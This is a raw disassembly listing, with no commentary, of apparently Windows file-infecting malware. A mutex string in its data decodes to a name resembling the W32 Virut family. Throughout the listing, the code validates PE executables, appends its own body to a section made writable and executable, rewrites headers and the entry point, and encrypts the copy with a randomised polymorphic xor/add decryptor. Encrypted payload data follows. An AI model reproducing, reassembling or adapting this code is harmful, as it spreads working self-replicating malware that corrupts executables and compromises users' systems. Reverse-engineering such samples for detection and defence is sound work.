locret_6125AF xor edx, edx call sub_6126D4 call sub_612632 call $+5 pop ebp sub ebp, offset loc_402F8A jmp loc_612A11 ; =============== S U B R O U T I N E ======================================= sub_6126D4 proc near ; CODE XREF: .XComp:006126B9p var_14 = dword ptr -14h push dword ptr fs:[edx] mov esi, [ebp+403972h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_612A11 mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_612A11 test dword ptr [ebx+16h], 2000h jnz loc_612A11 test byte ptr [ebx+5Ch], 2 mov ecx, [esi+20h] jz loc_612A11 jecxz short loc_612723 cmp ecx, 101h jbe loc_612A11 loc_612723: ; CODE XREF: sub_6126D4+41j call sub_6125F5 jb loc_612A11 mov ecx, [edx+10h] add ecx, [edx+0Ch] mov eax, 10000h push ecx call sub_61122D xor [ebp+40342Fh], dl mov cl, 20h xor [ebp+403430h], dh loc_61274D: ; CODE XREF: sub_6126D4+92j push 20h dec cl pop eax js short loc_612768 call sub_61122D test edx, edx setz dl shl edx, cl xor dword ptr ss:loc_403431[ebp], edx jmp short loc_61274D ; --------------------------------------------------------------------------- loc_612768: ; CODE XREF: sub_6126D4+7Ej ; sub_6126D4+CDj ... push 6 pop ecx loc_61276E: ; CODE XREF: sub_6126D4+B8j push 6 pop eax call sub_61122D mov al, [ebp+403429h] xchg al, [edx+ebp+403429h] mov [ebp+403429h], al loop loc_61276E test dword ptr ss:loc_403431[ebp], 8 jnz short loc_6127A3 cmp byte ptr [ebp+40342Bh], 1 jz short loc_612768 loc_6127A3: ; CODE XREF: sub_6126D4+C4j test dword ptr ss:loc_403431[ebp], 1000003h jz short loc_6127CA cmp byte ptr [ebp+403429h], 5 jz short loc_612768 cmp byte ptr ss:loc_40342A[ebp], 5 jz short loc_612768 cmp byte ptr [ebp+40342Bh], 5 jz short loc_612768 loc_6127CA: ; CODE XREF: sub_6126D4+D9j test dword ptr ss:loc_403431[ebp], 80000000h jz short loc_6127DF cmp byte ptr [ebp+403429h], 2 ja short loc_612768 loc_6127DF: ; CODE XREF: sub_6126D4+100j and dword ptr [ebp+4039AEh], 0 call loc_611C7A call sub_6125B0 call sub_612A1A mov ebx, [ebp+403976h] call sub_6124DE jz loc_612A11 mov esi, [ebp+403972h] mov ebx, [esi+3Ch] add ebx, esi call sub_6125F5 jb loc_612A11 or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr ss:loc_403431[ebp], 10000000h jnz short loc_612847 lea esi, [ebp+40343Ch] mov ecx, [ebp+40106Dh] rep movsb loc_612847: ; CODE XREF: sub_6126D4+163j push edi mov ecx, 90Fh lea esi, sub_401000[ebp] rep movsd mov cl, 0 jecxz short loc_61285B rep movsb loc_61285B: ; CODE XREF: sub_6126D4+183j test dword ptr ss:loc_403431[ebp], 10000000h jz loc_612913 push dword ptr [ebx+28h] call sub_6119E2 mov edx, dword ptr ss:loc_4039A6[ebp] test edx, edx jz loc_612913 mov esi, [ebp+403972h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_612898 xor ecx, ecx loc_612898: ; CODE XREF: sub_6126D4+1C0j add esi, [edx+14h] cmp ecx, [ebp+40106Dh] mov ecx, [ebp+40106Dh] jb short loc_6128FF mov edi, [esp+14h+var_14] and dword ptr [ebp+40106Dh], 0 and dword ptr [edi+6Dh], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, dword ptr ss:loc_403986[ebp] test dword ptr ss:loc_403431[ebp], 40h jz short loc_6128D8 neg dword ptr [eax] loc_6128D8: ; CODE XREF: sub_6126D4+200j add esi, [edx+0Ch] sub [eax], esi mov [ebp+4039AEh], esi mov esi, [ebx+28h] add [eax], esi test dword ptr ss:loc_403431[ebp], 40h jz short loc_6128F6 neg dword ptr [eax] loc_6128F6: ; CODE XREF: sub_6126D4+21Ej push ecx call sub_6125B0 pop ecx jmp short loc_61290B ; --------------------------------------------------------------------------- loc_6128FF: ; CODE XREF: sub_6126D4+1D3j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_61290B: ; CODE XREF: sub_6126D4+229j lea esi, [ebp+40343Ch] rep movsb loc_612913: ; CODE XREF: sub_6126D4+191j ; sub_6126D4+1A7j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+1D2h] cmp dl, [ebp+40342Fh] jnz short loc_61292C imul edx, 12345678h loc_61292C: ; CODE XREF: sub_6126D4+250j mov [eax-1], dl call sub_610900 pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr ss:loc_403431[ebp], 10000000h lea eax, [ecx+6] jnz short loc_61295D mov [ebp+4039AEh], ecx add eax, [ebp+40106Dh] and dword ptr [edi+6Dh], 0 loc_61295D: ; CODE XREF: sub_6126D4+274j sub eax, [ebx+28h] push dword ptr [ebp+40397Eh] mov [edi+52h], eax pop dword ptr [esi+20h] test dword ptr ss:loc_403431[ebp], 80000000h jz short loc_612982 push edx call sub_6122A8 pop edx loc_612982: ; CODE XREF: sub_6126D4+2A5j mov ecx, [ebp+4039AEh] jecxz short loc_61298D mov [ebx+28h], ecx loc_61298D: ; CODE XREF: sub_6126D4+2B4j mov ecx, [edx+10h] mov eax, [ebp+403976h] cmp [edx+8], ecx jnb short loc_61299E mov [edx+8], ecx loc_61299E: ; CODE XREF: sub_6126D4+2C5j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+40397Ah] push 243Ch add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+40342Fh] test dword ptr ss:loc_403431[ebp], 10000000h jz short loc_6129CF add ecx, [ebp+40106Dh] loc_6129CF: ; CODE XREF: sub_6126D4+2F3j mov dh, 0 test dword ptr ss:loc_403431[ebp], 20000h jnz short loc_6129F1 inc dh test dword ptr ss:loc_403431[ebp], 40000h jnz short loc_6129F1 mov dh, [ebp+403430h] loc_6129F1: ; CODE XREF: sub_6126D4+307j ; sub_6126D4+315j test dword ptr ss:loc_403431[ebp], 4000h jnz short loc_612A08 loc_6129FD: ; CODE XREF: sub_6126D4+330j mov al, [edi] add al, dl stosb add dl, dh loop loc_6129FD jmp short loc_612A11 ; --------------------------------------------------------------------------- loc_612A08: ; CODE XREF: sub_6126D4+327j ; sub_6126D4+33Bj mov al, [edi] xor al, dl stosb add dl, dh loop loc_612A08 loc_612A11: ; CODE XREF: .XComp:006126CFj ; sub_6126D4+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_6126D4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_612A1A proc near ; CODE XREF: sub_6126D4+11Cp cmp dword ptr ss:loc_403956[ebp], 0 jz locret_6125AF push dword ptr [ebp+403972h] call dword ptr ss:loc_4035C4[ebp] loc_612A33: ; CODE XREF: sub_6124DE+C5j push dword ptr ss:loc_40396E[ebp] call dword ptr [ebp+40353Ch] lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push dword ptr ss:loc_403956[ebp] call dword ptr [ebp+4035B8h] loc_612A5B: ; CODE XREF: sub_6124DE+6Bj ; sub_6124DE+82j ... push dword ptr ss:loc_403956[ebp] call dword ptr [ebp+40353Ch] loc_612A67: ; CODE XREF: sub_6124DE+45j lea esi, [ebp+40384Eh] push dword ptr [ebp+403952h] push esi call dword ptr [ebp+4035B4h] and dword ptr ss:loc_403956[ebp], 0 retn sub_612A1A endp ; --------------------------------------------------------------------------- dw 0E8h dd 5D000000h, 0ED81016Ah, 403349h, 0C10FF058h, 40158085h dd 0C3C08500h, 0F0FFC883h, 8085C10Fh, 0C3004015h, 2A00103Dh dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h, 575FFFFh dd 0FFFB7EE8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h, 40384EB5h dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h dd 0FF505200h, 4035F895h, 8C48300h, 3F5C3E81h, 3755C3Fh dd 0E804C683h, 0FFFFFB2Bh, 0FFFF7FE8h, 0B8C361FFh, 74h dd 2FB8B1EBh, 0E8000000h, 10h, 0B80020C2h, 30h, 3E8h, 24C200h dd 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h, 24548B00h, 1A8B5D30h dd 3413ED81h, 39E80040h, 61FFFFE5h, 60004C2h, 3010207h dd 0E3EB205h, 0FF09176Fh, 11D015h, 9001h, 3Fh dup(0) dd 9B470000h, 8AD7C80h, 3317C83h, 0ADA07C91h, 7C80h, 2 dup(0) dd 0BDB60000h, 1A247C80h, 945C7C80h, 23677C80h, 42C7C80h dd 6377C81h, 4B0F7C81h, 0C0587C86h, 0E7EC7C80h, 153C7C80h dd 0A777C81h, 1C457C81h, 0B6A17C83h, 8FF7C80h, 5DCA7C86h dd 11DA7C83h, 2ADE7C81h, 1D777C81h, 0B9057C80h, 0BB767C80h dd 9E17C80h, 3DE57C83h, 3F587C86h, 27827C86h, 1CB87C81h dd 24427C83h, 0B1C7C80h, 0B9747C81h, 9A517C80h, 0D877C80h dd 0D4607C81h, 0D6827C90h, 0D7547C90h, 0D7697C90h, 0D7937C90h dd 0DC557C90h, 0DCFD7C90h, 0DD907C90h, 0DEB67C90h, 0EA327C90h dd 30C67C90h, 0ED887C91h, 52A42711h, 2AA82EACh, 24E1ABB4h dd 0B7312DC9h, 32F00F1Ah, 0DA254B4Fh, 65C3C604h, 0DA58DE31h dd 0FA13FD54h, 0D3165B93h, 65E9E624h, 0FA78FE2Eh, 550B0FBh dd 0CA3CBF89h, 82008604h, 0C81FEA9Ch, 6DE9B1FCh, 27A3F4D3h dd 0A2609F8Ah, 0F1B1BDDFh, 380036h, 612D94h, 42005Ch, 730061h dd 4E0065h, 6D0061h, 640065h, 62004Fh, 65006Ah, 740063h dd 5C0073h, 330057h, 5F0032h, 690056h, 740072h, 75h, 84B076A4h dd 0FBCD394Ch, 0C2408670h, 0AF58DC5Ch, 25962840h, 0AA5CDFE9h dd 0E660E664h, 707E8B7Ch, 0B244C6C1h, 0BB8D790Ch, 8200C630h dd 0EF189E5Ch, 90171C1Fh, 0AFh dup(0) dd 79h, 0Ch dup(0) dd 7FFDE000h, 0B9Bh dup(0) db 3 dup(0) byte_615F63 db 0 ; DATA XREF: .XComp0:off_444104o dd 0C0h dup(0) dword_616264 dd 444h dup(0) db 0 byte_617375 db 3 dup(0) ; DATA XREF: .XComp0:off_43F9E8o dd 0CBh dup(0) db 2 dup(0) _XComp ends ; Section 3. (virtual address 00218000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00217800 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 618000h dd 80h dup(0) align 1000h _idata2 ends end start